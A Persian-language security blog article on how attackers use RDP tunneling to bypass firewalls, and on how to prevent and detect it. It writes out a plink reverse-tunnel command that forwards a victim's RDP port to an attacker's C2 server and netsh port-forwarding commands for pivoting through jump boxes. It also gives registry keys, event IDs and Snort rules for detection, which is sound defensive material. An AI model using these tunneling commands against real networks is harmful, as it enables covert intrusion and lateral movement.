RDP Tunneling

تشخیص و دور زدن محدودیت های شبکه از طریق RDP Tunneling

سرویس ریموت دسکتاپ (RDP Tunneling)

 جزعی از سرویس های مایکروسافت ویندوز است که توسط شرکت های مختلف برای راحتی کار مدیران سیستم، مهندسان و کارمندان جهت خدمات از راه دور استفاده می شود . از سوی دیگر، این سرویس ها و پروتکل های دسکتاپ از راه دور (RDP) ، به همان میزان راحتی را برای نفوذگران غیر مجاز و تهدید کننده های از راه دور در طول روند کاری سیستم ارائه می دهد . هنگامی که نفوذگران مراحل ورود به سیستم را فرا می گیرند، جلسات مستقیم RDP برای دسترسی از راه دور را برای خود فراهم می کنند .

RDP در برابر قوانین – RDP Tunneling

نفوذگران همچنان ترجیح می دهند از RDP برای مزایای پایداری و عملکرد در پشت زمینه های غیر گرافیکی، که می تواند آثار ناخواسته ای در یک سیستم ایجاد کند، استفاده کنند . در نتیجه، نفوذگران با استفاده از ابزارهای ویندوزی RDP بومی برای اتصال به سیستم در محیط های آسیب دیده مشغول خواهند شد .

به طور کلی از دید علمی، سیستم های محافظت شده توسط فایروال ها و قوانین NAT که آسیب پذیری RDP ورودی را دارا می باشند جزو این دسته قرار نمی گیرند . با این حال، نفوذگران به طور فزاینده ای شروع به از بین بردن این کنترل های سازمانی با استفاده از تونل زدن به شبکه ( RDP Tunneling ) و ارتباطات پورت مبتنی بر میزبان می کنند .

تونل زدن RDP Tunneling در شبکه و انتقالات پورت با استفاده از فایروال “pinholes” (پورت های محافظت شده توسط فایروال که دسترسی به برنامه را به یک سرویس بر روی یک میزبان در شبکه محافظت شده توسط فایروال می دهد)

  برای برقراری ارتباط با یک سرور راه دور مسدود شده توسط یک فایروال.

هنگامی که یک اتصال به سرور راه دور از طریق فایروال نصب شده است، این اتصال می تواند به عنوان یک مکانیسم حمل و نقل برای ارسال یا “تونل” خدمات گوش دادن محلی (واقع در داخل فایروال) از طریق فایروال استفاده شود، و آنها را به سرور راه دور (واقع در خارج از فایروال) متصل کند به طوری که قابل دسترسی باشد

در شکل ۱ نشان داده شده است.

bypass using RDP and network tunneling with SSH

شکل ۱: دور زدن فایروال Enterprise با استفاده از RDP و تونل زدن شبکه با SSH به عنوان مثال

Inbound RDP Tunneling

یک ابزار رایج برای تونل جلسات RDP PuTTYLink است که معمولا به عنوان Plink شناخته می شود. Plink می تواند برای ایجاد اتصالات شبکه shell امن (SSH) به سیستم های دیگر با استفاده از پورت دلخواه منبع و مقصد مورد استفاده قرار گیرد.

از آنجایی که بسیاری از محیط های فناوری اطلاعات یا بازرسی پروتکل را انجام نمی دهند و یا ارتباطات خروجی SSH را از شبکه خود مسدود نمی کنند، مهاجمان برای ایجاد تونل های رمز شده مانند FIN8 می توانند از Plink استفاده می کنند که اجازه می دهد پورت های RDP روی سیستم های آلوده به سرور فرمان و کنترل (C2) حمله کنند .

مثال دستورالعمل اجرایی RDP Tunneling :

plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

شکل ۲ یک نمونه از یک تونل موفق RDP ایجاد شده با استفاده از Plink را فراهم می کند، و شکل ۳ نمونه ای از ارتباطات ارسال شده از طریق تونل را با استفاده از انتقال پورت از سرور مهاجم C2 فراهم می کند.

RDP tunnel created using Plink

شکل ۲: نمونه ای از RDP Tunneling موفق که با استفاده از Plink ایجاد شده است

port forwarding from the attacker

شکل ۳: مثال موفق انتقال پورت از سرور مهاجم C2 به قربانی

لازم به ذکر است که مهاجم برای موفق شدن در RDP به یک سیستم، باید از طریق ابزارهای دیگر به منظور ایجاد یا دسترسی به ابزار Tunneling دسترسی لازمه را داشته باشد. به عنوان مثال، توافق اولیه سیستم مهاجم ممکن است نتیجۀ یک بار ارسال از یک ایمیل فیشینگ باشد که با هدف ایجاد جایگاه پایدار در محیط ایجاد شده است ، در عین حال همزمان استخراج اعتبارات برای افزایش امتیازات، ایجاد شده است.

تطبیق RDP به یک محیط محرمانه یکی از روشهای دسترسی است که معمولا مهاجمان برای حفظ حضور خود در محیط استفاده می کنند.

Jump Box Pivoting

نه تنها RDP ابزاری کامل برای دسترسی به سیستم های به خطر افتاده از محیط خارج است ، بلکه جلسات RDP می تواند در سیستم های متعدد به عنوان یک راه برای حرکت به سمت های مختلف از طریق یک محیط زنجیره ای باشد . (jump box)

با استفاده از فرمان (Windows Network Shell (netsh ، برای استفاده از RDP port forwarding به عنوان راهی برای دسترسی به شبکه های مجزا کشف شده تنها از طریق jumpbox اداری قابل دسترسی است.

مثال netsh فرمان Port Forwarding :

<netsh interface portproxy add v4tov4 listenport = 8001 listenaddress = <JUMP BOX IP> connectport = 3389 connectaddress = <DESTINATION IP

مثلا دستور Command Port Forwarding netsh را کوتاهتر کرد

<netsh I p a v l = 8001 listena = <JUMP BOX IP> connectp = 3389 c = <DESTINATION IP

مثلا،  یک مهاجم می تواند jump box را پیکربندی کند تا در یک پورت دلخواه برای ترافیک از یک سیستم قبلا آسیب دیده ارسال شود. سپس ترافیک به طور مستقیم از طریق jum pbox به هر سیستمی در شبکه جداگانه با استفاده از هر پورت مشخص شده، از جمله پورت RDP پیش فرض TCP 3389، ارسال می شود. این نوع RDP port forwarding باعث می شود مهاجمان راه هایی برای استفاده از مسیرهای مجاز Jump box را ایجاد میکنند .

این مسیرها بدون اختلال در کار مدیران مشروع شبکه ها می باشند که از Jump box در طول یک جلسه RDP در حال اجرا استفاده می کنند . شکل ۴ نمونه ای از حرکت جانبی RDP را به یک شبکه جداگانه از طریق یک jump box اداری ارائه می دهد.

RDP using a jump box

شکل ۴: حرکت جانبی از طریق RDP با استفاده از jump box به یک شبکه جداگانه

شناسایی و پیشگیری RDP Tunneling

اگر RDP فعال باشد، مهاجمان می توانند راهی برای حرکت در کنار یکدیگر و حفظ حضور در محیط از طریق تونل زدن و یا حمل و نقل پورت پیدا کنند . برای کاهش آسیب پذیری و تشخیص این نوع حملات RDP، سازمان ها باید بر روی مکانیزم های پیشگیری و تشخیص مبتنی بر میزبان و مبتنی بر شبکه تمرکز کنند.

پیشگیری مبتنی بر میزبان در RDP Tunneling :

سرویس دسک تاپ از راه دور : سرویس دسک تاپ از راه دور را در تمام ایستگاه های کاری و سیستم های نهایی که سرویس برای اتصال از راه دور مورد نیاز نیست، غیرفعال کنید.

فایروال های مبتنی بر میزبان : قوانین فایروال مبتنی بر میزبان را فعال کنید که صراحتا اتصالات RDP ورودی را رد می کند.

حساب های محلی: جلوگیری استفاده از RDP با استفاده از حساب های محلی در ایستگاه های کاری با فعال کردن گزینه “Deny log on through the Services Remote Desktop” تنظیمات امنیتی.

تشخیص میزبان:

کلید های رجیستری:

بررسی کلیدهای رجیستری مرتبط با اتصالات Plink که می توانند توسط تونل زنی جلسه RDP مورد سوء استفاده قرار بگیرند تا سیستم های منحصر به فرد منبع و مقصد را شناسایی کنند. به طور پیش فرض، هر دو اطلاعات مربوط به PuTTY و Plink store و سرورهای SSH قبلا متصل شده در کلید های رجیستری زیر در سیستم های ویندوز را مشاهده کنید :

HKEY_CURRENT_USER \ Software \ SimonTatham \ PuTTY

HKEY_CURRENT_USER \ SoftWare \ SimonTatham \ PuTTY \ SshHostKeys

به طور مشابه، ایجاد یک پورت پراکسی با netsh با کلید رجیستری ویندوز زیر ذخیره می شود:

HKEY_CURRENT_USER \ SYSTEM \ CurrentControlSet \ Services \ PortProxy \ v4tov4

جمع آوری و بررسی این کلید های رجیستری می تواند SSH مشروع و فعالیت های تونل غیر منتظره را شناسایی کند. برای تایید هدف هر یک از موارد اضافه ، ممکن است لازم به تجدید باشد .

گزارشات رویداد :

گزارش های رویداد را برای رویدادهای ورود به سیستم با high-fidelity مرور کنید . رویدادهای ورودی مشترک RDP در گزارشهای رویداد زیر در سیستم های ویندوز موجود است:

systemroot٪ \ Windows \ System32 \ winevt \ Logs \ Microsoft-TerminalServices-LocalSessionmanager٪ ۳Operational.evtx٪

٪ systemroot٪ \ Windows \ System32 \ winevt \ Logs \ Security.evtx

مجله “TerminalServices-LocalSessionManager” حاوی رویدادهای منطقی محلی و یا راه دور تعاملی است که توسط EID 21 شناسایی شده و مجددا پیوند موفق یک جلسه RDP قبلا برقرار شده است که توسط خروج کاربر مناسب مطابق با شناسه توسط EID 25 خاتمه یافته است. “امنیت” ورودی حاوی ۱۰ نوع موفق ورودی از راه دور (RDP) است که توسط EID 4624 شناسایی شده است.

یک آدرس IP منبع که به عنوان آدرس آی پی محلی (۱۲۷٫۰٫۰٫۱ – ۱۲۷٫۲۵۵٫۲۵۵٫۲۵۵) رکورد شده است، ممکن است نشان دهنده یک ورودی تونل شده از یک پورت localhost در حال گوش دادن با پورت TCP 3389 محلی RDP باشد.

موارد اجرایی فایل “plink.exe” را مرور کنید .توجه داشته باشید که مهاجمان می توانند نام فایل را تغییر نام دهند تا از تشخیص جلوگیری شود. موارد مرتبط شامل :

Application Compatibility Cache/Shimcache

Amcache

Jump Lists

Prefetch

Service Events

CCM Recently Used Apps from the WMI repository

Registry keys

پیشگیری مبتنی بر شبکه :

اتصال از راه دور : از آنجایی که برای اتصال به RDP نیاز است ، اجرای اتصال را از یک jump box تعیین شده یا سرور مدیریت متمرکز آغاز کنید .

حسابهای دامنه : برای اکانت های با دسترسی بالا (به عنوان مثال، مدیران دامنه) و اکانت های سرویس،  از «تنظیم مجوز ورود به سیستم از راه دور سرویسهای دسک تاپ» (Deny log on through Remote Desktop Services) استفاده کنید زیرا این نوع اکانتها معمولا توسط نفوذگران برای حرکت به سمت سیستمهای حساس در یک محیط استفاده میشوند.

تشخیص مبتنی بر شبکه :

قوانین فایروال : بررسی قوانین موجود در فایروال برای شناسایی مناطق آسیب پذیری در port forwarding . علاوه بر استفاده بالقوه از port forwarding ، نظارت بر ارتباطات داخلی بین ایستگاه های کاری در محیط مربوطه باید انجام شود. به طور کلی، ایستگاه های کاری نیازی به ارتباط مستقیم با یکدیگر ندارند و می توان از قوانین فایروال برای جلوگیری از هر گونه چنین ارتباطی استفاده کرد، مگر اینکه مورد نیاز باشد.

ترافیک شبکه : انجام بازرسی محتوا در ترافیک شبکه . در این معماری نیاز به نظارت همه ترافیک ارتباطی در یک پورت مشخص نیست بلکه آن چیزی که به نظر می رسد باید انجام شود . برای مثال، نفوذگران می توانند از پورت های TCP 80 یا ۴۴۳ برای ایجاد یک تونل RDP به یک سرور راه دور استفاده کنند . در نتیجه ، بازرسی عمیق ترافیک شبکه می تواند مشخص کند که شاید HTTP یا HTTPS نباشد ، اما ترافیک آن کاملا متفاوت است . بنابراین، سازمان ها باید از ترافیک شبکه خود مراقبت کنند .

قوانین Snort : شاخص اصلی RDP Tenneling زمانی اتفاق می افتد که روبات RDP دارای یک پورت منبع پایین تعیین شده است که عموما برای پروتکل دیگری استفاده می شود. شکل ۵، دو قاعده Snort است و نمونه ای را فراهم می کند که می تواند به تیم های امنیتی کمک کند تا تونل RDP در ترافیک شبکه خود و همچنین پهنای منبع نامشخص که عموما برای پروتکل های دیگر استفاده می شود را شناسایی کنند .

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2;  within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpdr"; content:"cliprdr"; sid:2; rev:1

شکل ۵: قوانین Snort نمونه برای شناسایی RDP Tunneling

 

نتیجه

RDP محیط های فناوری اطلاعات را برای ارائه آزاد و قابلیت همکاری به کاربران را فراهم می کند. اما نفوذگران با استفاده از RDP برای نفوذ در شبکه ها ، تیم های امنیتی را بین ترافیک مشروع و مخرب RDP به چالش کشیده اند . بنابراین، روش های پیشگیرانه و تشخیص مبتنی بر میزبان و مبتنی بر شبکه باید به طور فعال برای نظارت و شناسایی استفاده از RDP مورد استفاده قرار گیرد.

More

 

تهیه کننده : سید محمد اسماعیلی

 

نوشته های مرتبط

مدیریت دستگاه های IOT

۰۵

آبان
همه موضوعات

مدیریت از راه دور دستگاه های IOT با استفاده از ابزار Upswift

انتشار محتوای سایت ایران سایبر فقط با ذکر منبع رسمی مجاز است اگر فقط از یک دستگاه IoT استفاده می کنید و درحال توسعه پروژه های خود هستید، به روزرسانی و مدیریت آن سریع و آسان است. اما اگر ۱۰ ، ۵۰ یا ۱۰۰ دستگاه داشته باشید چه می کنید؟ مدیریت همه آنها ناگهان به یک دردسر […]

رکوردهای DNS

۱۹

مهر
همه موضوعات

مدیریت رکوردهای DNS با DNStable

یافتن اطلاعات در مورد سوابق DNS فرآیندی است که متخصصان امنیتی با عملیات های خاصی انجام می دهند. این اطلاعات از چند طریق قابل دستیابی است که در این مقاله به آنها خواهیم پرداخت. مشکل این است که بیشتر ابزارها برای یافتن سوابق DNS به روز شده و استفاده از آنها دشوار است. بیشتر متخصصان با تجربه[…]